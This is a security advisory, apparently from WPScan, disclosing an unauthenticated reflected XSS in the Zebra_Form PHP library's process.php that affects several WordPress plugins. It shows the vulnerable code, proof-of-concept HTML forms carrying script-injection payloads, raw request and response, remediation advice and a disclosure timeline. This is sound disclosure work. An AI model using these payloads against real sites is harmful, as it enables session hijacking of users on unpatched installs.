Vulnerability in Zebra_Form PHP Library Affects Multiple WordPress Plugins

The WPScan security research team identified an Unauthenticated Reflected Cross-Site Scripting (XSS) vulnerability within the Zebra_Form PHP library, which is used by multiple WordPress plugins.

While investigating a dubious advisory related to a Cross-Site Scripting (XSS) vulnerability in the wp-ticket plugin, the Zebra_Form library was found to be responsible for the issue. At the time of writing, despite contacting the vendor multiple times, the latest version of Zebra_Form, version 2.9.8, is still affected.

Fortunately, the affected WordPress plugins were no longer maintained, or had a small number of active installations. Nevertheless, we wanted to make the public aware of the vulnerability affecting Zebra_Form in case it is used elsewhere.

Advisory Summary

The Zebra_Form PHP library, versions 2.9.8 and below, used by multiple WordPress plugins, is affected by a Unauthenticated Reflected Cross-Site Scripting (XSS) vulnerability in its process.php file. Please note that a full security review of the Zebra_Form PHP library has not been conducted by WPScan.

After confirming the initial Cross-Site Scripting (XSS) vulnerability in the Zebra_Form PHP library, the WPscan security research team checked the WordPress plugin repository to see if any other plugins were using the vulnerable Zebra_Form library. The following plugins were found to use the vulnerable Zebra_Form PHP library:

This vulnerability has a the following risk score:

CVSS: 6.1 (Medium) CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Technical Details

The process.php outputs the form and control GET parameters, in a JavaScript block, without validating or santisating them first. This results in Reflected Cross-Site Scripting issues when submitting crafted requests to the file.

} elseif (

    isset($_FILES) &&
    is_array($_FILES) &&
    !empty($_FILES) &&
    isset($_GET['form']) &&
    isset($_GET['control']) &&
    isset($_FILES[$_GET['control']])

) {

    function process() {

        // the form that initiated the request
        $form = $_GET['form'];

        // the file upload control on the form that initiated the request
        $control = $_GET['control'];
        
        [.. more code w/o sanitisation ..]
        
        ?>

        <script type="text/javascript">
            var f=parent.window.$('#<?php echo $form?>');
            if(undefined!=f){
                f.data('Zebra_Form').end_file_upload('<?php echo $control . '\'' . (isset($file) ? ',[\'' . addcslashes($file['name'], '\'') . '\',\'' . $file['type'] . '\',\'' . $file['error'] . '\',\'' . $file['size'] . '\']' : '')?>)
            }
        </script>

Proof of Concept

  • Install one of the affected plugins, or the Zebra_Form library directly, change the action form attribute in the code below to the correct value and save it as an HTML file.
  • Open the saved file in a web browser (tested with Firefox 84 and the wp-ticker plugin v5.5.0), provide any file via one of the input and send the form to trigger the XSS.
Via $_GET['form']:<br/><br/>
<form action="https://example.com/wp-content/plugins/wp-ticket/assets/ext/zebraform/process.php?form=</script><img src onerror=alert(/XSS-form/)>&control=upload" method="post" enctype="multipart/form-data">
    <input type="file" name="upload"/>
    <input type="submit" name="submit" value="Send">
</form>
<br/>

Via $_GET['control']:<br/><br/>
<form action="https://example.com/wp-content/plugins/wp-ticket/assets/ext/zebraform/process.php?form=f&control=</script><svg/onload=alert(/XSS-control/)>" method="post" enctype="multipart/form-data">
    <input type="file" name="</script><svg/onload=alert(/XSS-control/)>"/>
    <input type="submit" name="submit" value="Send">
</form>

Which will make a request like:

POST /wp-content/plugins/wp-ticket/assets/ext/zebraform/process.php?form=%3C/script%3E%3Cimg%20src%20onerror=alert(/XSS-form/)%3E&control=upload HTTP/1.1
Host: example.com
User-Agent: YOLO
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------77916619616724262872902741074
Content-Length: 241
Origin: null
Connection: close
Upgrade-Insecure-Requests: 1

-----------------------------77916619616724262872902741074
Content-Disposition: form-data; name="upload"; filename="a.txt"
Content-Type: text/plain

Test

-----------------------------77916619616724262872902741074--

And result in the below response:

HTTP/1.1 200 OK
Server: Apache
Vary: Accept-Encoding
Content-Length: 207
Connection: close
Content-Type: text/html; charset=UTF-8

<script type="text/javascript">var f=parent.window.$('#</script><img src onerror=alert(/XSS-form/)>');if(undefined!=f){f.data('Zebra_Form').end_file_upload('upload',['a.txt','text/plain','0','20'])}</script>

Remediation

As there is no patch for the Cross-Site Scripting (XSS) vulnerability at the time of writing, it is recommended that the affected plugins be removed.

The Zebra_Form maintainers should properly validate and encode the form and control parameters before outputting them in the JavaScript code.

Timelime

  • January 13th, 2021 – Issue investigated and confirmed, Zebra_Form vendor contacted
  • January 13th, 2021 – Zebra Vendor replied that a fix will be coming in the next few days
  • January 14th, 2021 – Report shared with WordPress plugins team for coordination on the affected plugins (which have been closed in the meantime)
  • February 4th, 2021 – Re-contacted vendor for updates
  • February 15th, 2021 – No updates, disclosing on WPScan blog

Leave a Reply